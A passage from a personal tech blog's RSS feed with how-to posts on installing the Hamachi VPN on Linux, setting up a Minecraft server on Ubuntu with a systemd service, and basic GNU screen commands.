&lt;p&gt;It is a useful tool for a &lt;a href="https://thanoskoutr.com/posts/minecraft-server-configuration/"&gt;Minecraft Server&lt;/a&gt;, that we can use in order to allow people in our Hamachi network to connect to our LAN server via a Hamachi connection. This saves us the trouble of port-forwarding in our router and giving our public IP.&lt;/p&gt;
&lt;h2 id="download-hamachi"&gt;
Download Hamachi
&lt;a href="#download-hamachi" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h2&gt;
&lt;p&gt;Download latest version from site:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;wget https://www.vpn.net/installers/logmein-hamachi_2.1.0.203-1_amd64.deb
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id="install-hamachi"&gt;
Install Hamachi
&lt;a href="#install-hamachi" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h2&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sudo dpkg -i logmein-hamachi_2.1.0.203-1_amd64.deb
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id="start-hamachi"&gt;
Start Hamachi
&lt;a href="#start-hamachi" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h2&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sudo service logmein-hamachi start
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id="hamachi-commands"&gt;
Hamachi commands
&lt;a href="#hamachi-commands" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h2&gt;
&lt;h3 id="login"&gt;
Login
&lt;a href="#login" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sudo hamachi login
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="join-an-existing-network"&gt;
Join an existing network
&lt;a href="#join-an-existing-network" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sudo hamachi join &amp;lt;network ID&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="check-status--list-networks--update"&gt;
Check Status / List Networks / Update
&lt;a href="#check-status--list-networks--update" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sudo hamachi
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sudo hamachi list
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sudo hamachi check-update
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="change-network-status"&gt;
Change Network Status
&lt;a href="#change-network-status" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sudo hamachi go-online &amp;lt;network ID&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sudo hamachi go-offline &amp;lt;network ID&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="create-network"&gt;
Create Network
&lt;a href="#create-network" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sudo hamachi create &amp;lt;network ID&amp;gt; &lt;span style="color:#f92672"&gt;[&lt;/span&gt;password&lt;span style="color:#f92672"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sudo hamachi --help &lt;span style="color:#f92672"&gt;(&lt;/span&gt;&lt;span style="color:#66d9ef"&gt;for&lt;/span&gt; other options&lt;span style="color:#f92672"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;</description></item><item><title>Minecraft Server Configuration</title><link>https://thanoskoutr.com/posts/minecraft-server-configuration/</link><pubDate>Mon, 22 Feb 2021 20:49:00 +0200</pubDate><guid>https://thanoskoutr.com/posts/minecraft-server-configuration/</guid><description>
&lt;img src="https://thanoskoutr.com/covers/minecraft.png"/&gt;
&lt;p&gt;In this post, we will see how can install our own Minecraft server on our Ubuntu (or any Debian based) system.&lt;/p&gt;
&lt;p&gt;By installing our own Minecraft server, and exposing it to the outside world, we can play with our friends online in a Survival or a Creative world.&lt;/p&gt;
&lt;p&gt;We also have full control off the game, and a lot of customization and modding abilities.&lt;/p&gt;
&lt;h2 id="install-java"&gt;
Install Java
&lt;a href="#install-java" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h2&gt;
&lt;p&gt;And other needed software:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sudo apt install default-jdk wget screen
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id="create-a-minecraft-user"&gt;
Create a minecraft user
&lt;a href="#create-a-minecraft-user" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h2&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;useradd minecraft
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id="install-minecraft-server"&gt;
Install minecraft server
&lt;a href="#install-minecraft-server" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h2&gt;
&lt;p&gt;Each server instance we run will need its own directory under the &lt;code&gt;/opt/minecraft&lt;/code&gt; directory.
For this first server instance, let&amp;rsquo;s call it &lt;code&gt;survival&lt;/code&gt; and create the following directory&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sudo mkdir /opt/minecraft/survival
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id="download-minecraft-server"&gt;
Download minecraft server
&lt;a href="#download-minecraft-server" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h2&gt;
&lt;p&gt;Visit and copy link url of latest version of &lt;code&gt;minecraft_server.1.*.jar&lt;/code&gt;:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;wget https://launcher.mojang.com/v1/objects/1b557e7b033b583cd9f66746b7a9ab1ec1673ced/server.jar
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id="rename-jar"&gt;
Rename &lt;code&gt;.jar&lt;/code&gt;
&lt;a href="#rename-jar" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h2&gt;
&lt;p&gt;Rename &lt;code&gt;.jar&lt;/code&gt; to the latest version names:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;mv server.jar minecraft_server.1.6.5.jar
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id="accept-terms-and-conditions"&gt;
Accept terms and conditions
&lt;a href="#accept-terms-and-conditions" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h2&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sudo bash -c &lt;span style="color:#e6db74"&gt;&amp;#34;echo eula=true &amp;gt; /opt/minecraft/survival/eula.txt&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id="give-minecraft-user-ownership"&gt;
Give minecraft user ownership
&lt;a href="#give-minecraft-user-ownership" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h2&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sudo chown -R minecraft:minecraft /opt/minecraft/survival/
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id="start-server"&gt;
Start server
&lt;a href="#start-server" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h2&gt;
&lt;h3 id="create-startup-script"&gt;
Create startup script
&lt;a href="#create-startup-script" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h3&gt;
&lt;p&gt;Create a &lt;code&gt;start.sh&lt;/code&gt; script and write the following:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;#!/bin/sh
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;java -Xmx4096M -Xms2048M -jar minecraft_server.1.16.5.jar nogui
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;ul&gt;
&lt;li&gt;&lt;code&gt;Xmx&lt;/code&gt; Maximum RAM usage&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Xms&lt;/code&gt; RAM usage on startup&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="make-it-executable"&gt;
Make it executable
&lt;a href="#make-it-executable" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;chmod +x *.sh
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="run-server-to-test"&gt;
Run server to test
&lt;a href="#run-server-to-test" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;./start.sh
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id="start-server-with-screen"&gt;
Start server with screen
&lt;a href="#start-server-with-screen" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h2&gt;
&lt;h3 id="open-a-screen-session"&gt;
Open a screen session
&lt;a href="#open-a-screen-session" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;screen -S minecraft_server
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="start-server-in-the-session"&gt;
Start server in the session
&lt;a href="#start-server-in-the-session" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;./start.sh
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="detach-from-session"&gt;
Detach from session
&lt;a href="#detach-from-session" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h3&gt;
&lt;p&gt;Hold down &lt;kbd&gt;&lt;code&gt;Ctrl&lt;/code&gt;&lt;/kbd&gt; and hit &lt;kbd&gt;&lt;code&gt;A&lt;/code&gt;&lt;/kbd&gt; and &lt;kbd&gt;&lt;code&gt;D&lt;/code&gt;&lt;/kbd&gt; in the session.&lt;/p&gt;
&lt;h3 id="reattach-to-session"&gt;
Reattach to session
&lt;a href="#reattach-to-session" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;screen -r minecraft_server
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id="make-server-a-systemd-service"&gt;
Make server a systemd service
&lt;a href="#make-server-a-systemd-service" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h2&gt;
&lt;h3 id="create-template-systemd-script"&gt;
Create template systemd script
&lt;a href="#create-template-systemd-script" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h3&gt;
&lt;p&gt;Create a systemd template script, can be used for other server instances:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;vim /etc/systemd/system/minecraft@.service
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="paste-the-following-content-in-the-new-file"&gt;
Paste the following content in the new file
&lt;a href="#paste-the-following-content-in-the-new-file" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-ini" data-lang="ini"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;[Unit]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;Description&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;Minecraft Server: %i&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;After&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;network.target&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;[Service]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;WorkingDirectory&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;/opt/minecraft/%i&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;User&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;minecraft&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;Group&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;minecraft&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;Restart&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;always&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;ExecStart&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;/usr/bin/screen -DmS mc-%i ./start.sh&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;ExecStop&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;/usr/bin/screen -p 0 -S mc-%i -X eval &amp;#39;stuff &amp;#34;say SERVER SHUTTING DOWN IN 5 SECONDS. SAVING ALL MAPS...&amp;#34;5&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;ExecStop&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;/bin/sleep 5&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;ExecStop&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;/usr/bin/screen -p 0 -S mc-%i -X eval &amp;#39;stuff &amp;#34;save-all&amp;#34;5&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;ExecStop&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;/usr/bin/screen -p 0 -S mc-%i -X eval &amp;#39;stuff &amp;#34;stop&amp;#34;5&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;[Install]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;WantedBy&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;multi-user.target&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="start-minecraft-server"&gt;
Start Minecraft Server
&lt;a href="#start-minecraft-server" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sudo systemctl start minecraft@survival
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="check-minecraft-server-status"&gt;
Check minecraft server status
&lt;a href="#check-minecraft-server-status" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sudo systemctl status minecraft@survival
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="enable-minecraft-server-status"&gt;
Enable minecraft server status
&lt;a href="#enable-minecraft-server-status" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h3&gt;
&lt;p&gt;In order to start at system reboot:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sudo systemctl enable minecraft@survival
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id="links"&gt;
Links
&lt;a href="#links" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://linuxconfig.org/ubuntu-20-04-minecraft-server-setup"&gt;Ubuntu 20.04 Minecraft Server Setup&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://minecraft.gamepedia.com/Tutorials/Setting_up_a_server"&gt;Minecraft Wiki - Tutorials/Setting up a server&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://minecraft.gamepedia.com/Tutorials/Server_startup_script"&gt;Minecraft Wiki - Tutorials/Server startup script&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.digitalocean.com/community/tutorials/understanding-systemd-units-and-unit-files"&gt;Understanding Systemd Units and Unit Files&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</description></item><item><title>Screen</title><link>https://thanoskoutr.com/posts/screen/</link><pubDate>Mon, 22 Feb 2021 19:45:00 +0200</pubDate><guid>https://thanoskoutr.com/posts/screen/</guid><description>
&lt;img src="https://thanoskoutr.com/covers/screen.png"/&gt;
&lt;h2 id="screen-commands"&gt;
Screen Commands
&lt;a href="#screen-commands" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h2&gt;
&lt;h3 id="start-a-session-with-name"&gt;
Start a session with name
&lt;a href="#start-a-session-with-name" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;screen -S &lt;span style="color:#e6db74"&gt;&amp;#34;session_name&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="close-session"&gt;
Close session
&lt;a href="#close-session" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h3&gt;
&lt;p&gt;Press &lt;kbd&gt;&lt;code&gt;Ctrl&lt;/code&gt;&lt;/kbd&gt;-&lt;kbd&gt;&lt;code&gt;D&lt;/code&gt;&lt;/kbd&gt; in the session.&lt;/p&gt;
&lt;h3 id="detach-from-session"&gt;
Detach from session
&lt;a href="#detach-from-session" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h3&gt;
&lt;p&gt;Hold down &lt;kbd&gt;&lt;code&gt;Ctrl&lt;/code&gt;&lt;/kbd&gt; and hit &lt;kbd&gt;&lt;code&gt;A&lt;/code&gt;&lt;/kbd&gt; and &lt;kbd&gt;&lt;code&gt;D&lt;/code&gt;&lt;/kbd&gt; in the session.&lt;/p&gt;
&lt;h3 id="list-all-sessions-of-a-user"&gt;
List all sessions of a user
&lt;a href="#list-all-sessions-of-a-user" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h3&gt;
&lt;p&gt;Lists all sessions with their PID:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;screen -ls
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="resume-a-session"&gt;
Resume a session
&lt;a href="#resume-a-session" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h3&gt;
&lt;p&gt;Re-attach to a running session using its PID:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;screen -r PID
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;</description></item><item><title>No-IP Install and Service Commands</title><link>https://thanoskoutr.com/posts/noip2-install-and-service-commands/</link><pubDate>Fri, 25 Dec 2020 19:18:00 +0200</pubDate><guid>https://thanoskoutr.com/posts/noip2-install-and-service-commands/</guid><description>
&lt;img src="https://thanoskoutr.com/covers/noip.png"/&gt;
